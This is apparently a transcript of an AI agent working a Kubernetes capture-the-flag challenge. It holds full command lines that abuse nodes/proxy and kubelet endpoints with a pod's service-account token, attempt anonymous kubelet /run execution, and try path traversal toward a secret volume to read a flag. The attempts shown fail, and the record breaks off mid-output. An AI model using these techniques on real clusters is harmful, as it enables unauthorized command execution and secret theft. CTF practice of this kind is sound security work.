[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl auth can-i --list -n sr71-49fj1d92 2>&1
[?2004lResources Non-Resource URLs Resource Names Verbs
selfsubjectreviews.authentication.k8s.io [] [] [create]
selfsubjectaccessreviews.authorization.k8s.io [] [] [create]
selfsubjectrulesreviews.authorization.k8s.io [] [] [create]
nodes/proxy [] [] [get watch list]
nodes [] [] [get watch list]
[/.well-known/openid-configuration/] [] [get]
[/.well-known/openid-configuration] [] [get]
[/api/*] [] [get]
[/api] [] [get]
[/apis/*] [] [get]
[/apis] [] [get]
[/healthz] [] [get]
[/healthz] [] [get]
[/livez] [] [get]
[/livez] [] [get]
[/openapi/*] [] [get]
[/openapi] [] [get]
[/openid/v1/jwks/] [] [get]
[/openid/v1/jwks] [] [get]
[/readyz] [] [get]
[/readyz] [] [get]
[/version/] [] [get]
[/version/] [] [get]
[/version] [] [get]
[/version] [] [get]
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kecho '=== TRY EXEC SR71 ==='
[?2004l=== TRY EXEC SR71 ===
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- kubecctl exec -n sr71-49fj1d92 sr71-8d5bc67c9-kzl82 -- cat /etc/secret/flag 2>&1
[?2004lError from server (Forbidden): pods "sr71-8d5bc67c9-kzl82" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "pods" in API group "" in the namespace "sr71-49fj1d92"
command terminated with exit code 1
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 1
Connection to 18.134.180.16 closed.No pods/exec in sr71 namespace. Need to use nodes/proxy for command execution. Let me check the sr71 pod spec and try direct kubelet access.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' echo '=== SR71 POD SPEC ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 echo '=== DIRECT KUBELET NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 echo '=== TRY ANONYMOUS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 exit SSHEOF
Command running in background with ID: b4qc3vs89. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output
sleep 10 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output 2>/dev/null | tail -30
<persisted-output> Output too large (34.9KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt Preview (first 2KB): | | ------------------------------------------------------------ echo '=== SR71 POD SPEC ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 echo '=== DIRECT KUBELET NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 echo '=== TRY ANONYMOUS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 exit echo '=== SR71 POD SPEC ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 echo '=== DIRECT KUBELET NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 echo '=== TRY ANONYMOUS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 exit [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ===' [?2004l=== SR71 POD SPEC === ... </persisted-output>
{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
"offset": 60,
"limit": 50
}<system-reminder>Warning: the file exists but is shorter than the provided offset (60). The file has 30 lines.</system-reminder>
{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt"
}File content (13886 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
{
"pattern": "SR71|sr71|KUBELET|ANONYMOUS|flag|Forbidden|secret|stealth",
"path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
"output_mode": "content"
}3:echo '=== SR71 POD SPEC ===' 4:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 5:echo '=== DIRECT KUBELET NODE-2 ===' 7:TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) 8:curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 10:echo '=== TRY ANONYMOUS ===' 12:curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 15:echo '=== SR71 POD SPEC ===' 16:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 17:echo '=== DIRECT KUBELET NODE-2 ===' 19:TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) 20:curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 22:echo '=== TRY ANONYMOUS ===' 24:curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 27:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ===' 28:[?2004l=== SR71 POD SPEC === 29:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1 30:[Omitted long matching line]
{
"file_path": "/home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bgi9niete.txt",
"offset": 27
}File content (13138 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
{
"pattern": "Forbidden|Unauthorized|flag_ctf|=== |secret-volume|serviceAccount",
"path": "/tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output",
"output_mode": "content"
}22:echo '=== SR71 POD SPEC ===' 23:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 24:echo '=== DIRECT KUBELET NODE-2 ===' 29:echo '=== TRY ANONYMOUS ===' 34:echo '=== SR71 POD SPEC ===' 35:kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 36:echo '=== DIRECT KUBELET NODE-2 ===' 41:echo '=== TRY ANONYMOUS ===' 46:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# echo '=== SR71 POD SPEC ===' 47:[?2004l=== SR71 POD SPEC === 48:[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1 49:[Omitted long matching line]
{
"file_path": "/tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output",
"offset": 48,
"limit": 40
}File content (13060 tokens) exceeds maximum allowed tokens (10000). Use offset and limit parameters to read specific portions of the file, or search for specific content instead of reading the whole file.
tail -40 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output
<persisted-output> Output too large (35.5KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/b3n2lap2b.txt Preview (first 2KB): | | ------------------------------------------------------------ | | | We have already identified a plane | | Have a look at the "b2" namespace. | | | ------------------------------------------------------------ | | | ! WARNING ! | | NO INTERNET CONNECTIVITY DETECTED | | | ------------------------------------------------------------ echo '=== SR71 POD SPEC ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 echo '=== DIRECT KUBELET NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 echo '=== TRY ANONYMOUS ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 ' 2>&1 exit echo '=== SR71 POD SPEC ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "sr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head -20' 2>&1 echo '=== DIRECT KUBELET NODE-2 ===' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) ... </persisted-output>
grep -E 'flag_ctf|Forbidden|Unauthorized|403|401|secret-volume|serviceAccount.*stealth|DIRECT|ANONYMOUS|sr71.*name' /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/b4qc3vs89.output | grep -v '^echo\|^kubectl\|^curl\|^TOKEN' | head -20
<persisted-output>
Output too large (33.1KB). Full output saved to: /home/claude/.claude/projects/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tool-results/bp2dv91ui.txt
Preview (first 2KB):
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -A200 "ssr71" | grep -E "(serviceAccount|secret|volumeMount|mountPath|\"name\")" | head --20' 2>&1
[?2004l{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"calico-node-b2kwl","generateName":"calico-node-","namespace":"kube-system","uid":"872260c9-e7e2-4530-9e26-1af19f7c3cfa","resourceVersion":"602","generation":1,"creationTimestamp":"2026-03-25T11:13:24Z","labels":{"controller-revision-hash":"66c856fcb5","k8s-app":"calico-node","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-03-25T11:13:24.524420442Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"calico-node","uid":"d79218c1-60df-4fe3-8d82-519a4e84dfdd","controller":true,"blockOwnerDeletion":true}],"managedFields":[{"manager":"kube-controller-manager","operation":"Update","apiVersion":"v1","time":"2026-03-25T11:13:24Z","fieldsType":"FieldsV1","fieldsV1":{"f:metadata":{"f:generateName":{},"f:labels":{".":{},"f:controller-revision-hash":{},"f:k8s-app":{},"f:pod-template-generation":{}},"f:ownerReferences":{".":{},"k:{\"uid\":\"d79218c1-60df-4fe3-8d82-519a4e84dfdd\"}":{}}},"f:spec":{"f:affinity":{".":{},"f:nodeAffinity":{".":{},"f:requiredDuringSchedulingIgnoredDuringExecution":{}}},"f:containers":{"k:{\"name\":\"calico-node\"}":{".":{},"f:env":{".":{},"k:{\"name\":\"CALICO_DISABLE_FILE_LOGGING\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV4POOL_IPIP\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV4POOL_VXLAN\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_IPV6POOL_VXLAN\"}":{".":{},"f:name":{},"f:value":{}},"k:{\"name\":\"CALICO_NETWORKING_BACKEND\"}":{".":{},"f:name":{},"f:valueFrom":{".":{},"f:configMapKeyRef":{}}},"k:{\"name\":\"CLUSTER_TYPE\"}":{".":{},
...
</persisted-output>ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token) echo "=== POST to kubelet node-2 with token ===" curl -sk -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 echo "" echo "=== POST anonymous ===" curl -sk -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1 echo "" echo "=== GET kubelet configz node-2 - check anonymous ===" kubectl get --raw /api/v1/nodes/node-2/proxy/configz 2>/dev/null | grep -o "anonymous[^}]*" ' 2>&1 exit SSHEOF
Command running in background with ID: bo2tuauq9. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output
sleep 12 && grep -E 'POST|anonymous|flag|Forbidden|Unauthorized|401|403|configz' /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output | grep -v '^curl\|^echo\|^kubectl\|^TOKEN' | head -15
tail -15 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null
wc -l /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null; cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output 2>/dev/null | sed 's/\r//g' | grep -v '^\[?' | grep -v '^\]0;' | grep -v '_ _\|____\|Stealth\|Hidden\|WARNING\|INTERNET\|AIRGAP\|----\|^|\|^$\|^echo\|^kubectl exec.*sh -c\|^TOKEN\|^curl\|^kubectl get' | tail -15
0 /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bo2tuauq9.output
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | grep -v '_ _\|____\|Hidden\|WARNING\|INTERNET\|AIRGAP\|----\|^|\|plane\|namespace\|Welkom\|succes' | tail -20
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); echo "=1="; curl -sk -w "\nHTTP_%{http_code}" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1; echo "=2="; curl -sk -w "\nHTTP_%{http_code}" -X POST "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag" 2>&1; echo "=3="; kubectl get --raw /api/v1/nodes/node-2/proxy/configz 2>/dev/null | grep -o "anonymous[^}]*"'
exit
SSHEOFCommand running in background with ID: bvmg7isrq. Output is being written to: /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output
sleep 15 && cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output 2>/dev/null | sed 's/\r//g' | grep -E '=1=|=2=|=3=|HTTP_|flag|Forbid|Unauth|anon' | head -10
cat /tmp/claude-1001/-home-claude-kubecon-ctf/2836269a-9ca6-4580-9d5a-af3a33d466d7/tasks/bvmg7isrq.output 2>/dev/null | wc -c
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
SSHEOF| NO INTERNET CONNECTIVITY DETECTED |
| |
------------------------------------------------------------
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --max-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" "https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd=cat /etc/secret/flag"' 2>&1
exit
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -cc 'TOKEN=$(cat /var/run/secrets/kubernetes.io/serviceaccount/token); curl -sk --mmax-time 5 -w "\nHTTP_%{http_code}\n" -X POST -H "Authorization: Bearer $TOKEN" ""https://10.0.191.212:10250/run/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" -d "cmd==cat /etc/secret/flag"' 2>&1
[?2004l
HTTP_000
command terminated with exit code 28
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# [Kexit
[?2004lexit
command terminated with exit code 28
Connection to 18.134.180.16 closed.Can't reach kubelet directly (timeout). Must use API server proxy. Let me try the kubelet /logs/ endpoint — it serves files from /var/log/, and I need to check if I can traverse to the secret volume.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -20 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' echo "=== LOGS DIR ===" kubectl get --raw /api/v1/nodes/node-2/proxy/logs/pods/ 2>&1 | head -20 echo "=== SR71 POD UID ===" kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "sr71[^}]*uid\":\"[^\"]*\"" | head -3 echo "=== TRY PATH TRAVERSAL ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bc67c9-kzl82_" 2>&1 | head -5 ' exit SSHEOF
[?2004l[?2004h> echo "=== TRY PATH TRAVERSAL ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bbc67c9-kzl82_" 2>&1 | head -5 [?2004l[?2004h> ' [?2004l=== LOGS DIR === <!doctype html> <meta name="viewport" content="width=device-width"> <pre> <a href="jumphost_jumphost-5f66c55446-d5bkl_b255e8a0-036e-498b-a12e-27317db5288a/">jumphost_jumphost-5f66c55446-d5bkl_b255e8a0-036e-498b-a12e-27317db5288a/</a> <a href="kube-system_calico-node-b2kwl_872260c9-e7e2-4530-9e26-1af19f7c3cfa/">kube-system_calico-node-b2kwl_872260c9-e7e2-4530-9e26-1af19f7c3cfa/</a> <a href="kube-system_kube-proxy-z776x_91aec4f6-f19a-40b9-9003-1628a43fba75/">kube-system_kube-proxy-z776x_91aec4f6-f19a-40b9-9003-1628a43fba75/</a> <a href="sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/">sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/</a> </pre> === SR71 POD UID === sr71-8d5bc67c9-kzl82","generateName":"sr71-8d5bc67c9-","namespace":"sr71-49fj1d92","uid":"08be1dd3-1296-4da0-be41-03ba7e61fc3e" sr71-8d5bc67c9","uid":"e638c361-8667-4565-b066-825014a58d28" === TRY PATH TRAVERSAL === Error from server (NotFound): the server could not find the requested resource [?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit [?2004lexit Connection to 18.134.180.16 closed.
SR71 pod UID is 08be1dd3-1296-4da0-be41-03ba7e61fc3e. The secret volume would be at /var/lib/kubelet/pods/08be1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flag. Let me try path traversal from the /logs/ endpoint.
ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -15
kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c '
UID="08be1dd3-1296-4da0-be41-03ba7e61fc3e"
echo "=== TRY TRAVERSAL 1 ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpods%2F${UID}%2Fvolumes%2Fkubernetes.io~secret%2Fsecret-volume%2Fflag" 2>&1
echo "=== TRY TRAVERSAL 2 ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/../../lib/kubelet/pods/${UID}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
echo "=== TRY TRAVERSAL 3 - via containerLogs ==="
kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71-8d5bc67c9-kzl82/sr71" 2>&1 | head -5
'
exit
SSHEOF[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/..%2F..%2Flib%2Fkubelet%2Fpoods%2F${UID}%2Fvolumes%2Fkubernetes.io~secret%2Fsecret-volume%2Fflag" 2>&1
[?2004l[?2004h> echo "=== TRY TRAVERSAL 2 ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/../../lib/kubelet/pods/${UIDD}/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1
[?2004l[?2004h> echo "=== TRY TRAVERSAL 3 - via containerLogs ==="
[?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/containerLogs/sr71-49fj1d92/sr71--8d5bc67c9-kzl82/sr71" 2>&1 | head -5
[?2004l[?2004h> '
[?2004l=== TRY TRAVERSAL 1 ===
Error from server (Forbidden): nodes "node-2" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope
=== TRY TRAVERSAL 2 ===
Error from server (Forbidden): nodes "node-2" is forbidden: User "system:serviceaccount:b2:stealth" cannot get resource "nodes/lib" in API group "" at the cluster scope
=== TRY TRAVERSAL 3 - via containerLogs ===
Error from server (NotFound): the server could not find the requested resource
[?2004h]0;root@jumphost-5f66c55446-d5bkl: ~root@jumphost-5f66c55446-d5bkl:~# exit
[?2004lexit
Connection to 18.134.180.16 closed.ssh -tt -F /tmp/challenge-3/ssh_config -o StrictHostKeyChecking=no bastion << 'SSHEOF' 2>&1 | sed 's/\r//g' | tail -25 kubectl exec -n b2 b2-6454ffccfb-bmfgs -- sh -c ' echo "=== SR71 CONTAINER NAMES ===" kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"containerName\":\"[^\"]*\"" | sort -u echo "=== SR71 POD CONTAINERS ===" kubectl get --raw /api/v1/nodes/node-2/proxy/pods/ 2>/dev/null | grep -o "\"name\":\"sr71[^\"]*\"" echo "=== CONTAINER LOGS DIR ===" kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr71 echo "=== POD LOGS DIR ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/" 2>&1 echo "=== TRY DOUBLE ENCODE ===" kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%2e%2e/lib/kubelet/pods/08be1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flag" 2>&1 ' exit SSHEOF
[?2004l[?2004h> kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr71 [A> kubectl get --raw /api/v1/nodes/node-2/proxy/logs/containers/ 2>&1 | grep sr7[K1 [?2004l[?2004h> echo "=== POD LOGS DIR ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/pods/sr71-49fj1d92_sr71-8d5bbc67c9-kzl82_08be1dd3-1296-4da0-be41-03ba7e61fc3e/" 2>&1 [?2004l[?2004h> echo "=== TRY DOUBLE ENCODE ===" [?2004l[?2004h> kubectl get --raw "/api/v1/nodes/node-2/proxy/logs/%2e%2e/lib/kubelet/pods/08bee1dd3-1296-4da0-be41-03ba7e61fc3e/volumes/kubernetes.io~secret/secret-volume/flagg" 2>&1 [?2004l[?2004h> ' [?2004l=== SR71 CONTAINER NAMES === === SR71 POD CONTAINERS === "name":"sr71-8d5bc67c9-kzl82" "name":"sr71-8d5bc67c9" === CONTAINER LOGS DIR === <a 